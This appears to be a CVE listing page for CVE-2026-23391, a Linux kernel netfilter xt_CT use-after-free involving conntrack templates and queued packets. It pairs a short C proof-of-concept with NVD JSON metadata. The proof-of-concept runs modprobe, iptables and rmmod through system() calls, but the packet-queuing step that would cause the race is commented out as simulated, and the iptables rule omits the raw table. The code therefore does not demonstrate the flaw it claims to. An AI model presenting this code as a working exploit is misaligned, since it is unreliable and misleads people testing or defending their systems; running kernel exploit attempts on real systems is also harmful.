CVE-2026-23391

/* * PoC for CVE-2026-23391: Linux kernel netfilter xt_CT UAF * This script demonstrates the race condition by loading a helper, * enqueuing packets, and removing the helper. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { printf("[+] Starting PoC for CVE-2026-23391\n"); // Step 1: Load a conntrack helper module (e.g., ftp) printf("[*] Loading nf_conntrack_ftp module...\n"); system("modprobe nf_conntrack_ftp"); // Step 2: Add an iptables rule using '-j CT' with a helper // This creates a template referencing the helper object printf("[*] Adding iptables rule with CT helper...\n"); system("iptables -A OUTPUT -p tcp --dport 21 -j CT --helper ftp"); // Step 3: Simulate packet enqueuing // In a real scenario, send traffic and use NFQUEUE to hold packets printf("[*] Generating traffic to trigger the rule (simulated)...\n"); // system("hping3 -S -p 21 127.0.0.1"); // Step 4: Remove the helper module while packets are pending // This triggers the vulnerability: the template still points to the freed helper printf("[*] Removing helper module to trigger UAF...\n"); system("rmmod nf_conntrack_ftp"); // Step 5: Cleanup printf("[*] Cleaning up iptables rules...\n"); system("iptables -F OUTPUT"); printf("[+] PoC execution finished. Check kernel logs for crashes.\n"); return 0; }

{"cve": {"id": "CVE-2026-23391", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:39.707", "lastModified": "2026-04-24T18:38:57.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: xt_CT: drop pending enqueued packets on template removal\n\nTemplates refer to objects that can go away while packets are sitting in\nnfqueue refer to:\n\n- helper, this can be an issue on module removal.\n- timeout policy, nfnetlink_cttimeout might remove it.\n\nThe use of templates with zone and event cache filter are safe, since\nthis just copies values.\n\nFlush these enqueued packets in case the template rule gets removed."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nnetfilter: xt_CT: descartar paquetes pendientes encolados al eliminar la plantilla\n\nLas plantillas se refieren a objetos que pueden desaparecer mientras los paquetes están en nfqueue, se refieren a:\n\n- helper, esto puede ser un problema al eliminar el módulo.\n- política de tiempo de espera, nfnetlink_cttimeout podría eliminarla.\n\nEl uso de plantillas con filtro de caché de zona y eventos es seguro, ya que esto solo copia valores.\n\nVaciar estos paquetes encolados en caso de que la regla de plantilla sea eliminada."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "4333E813-9B62-47A7-82DE-20283B6F5D15"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": 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"https://git.kernel.org/stable/c/55445134d42b84cb0a272e42c98d233ca65eca83", "source": ... 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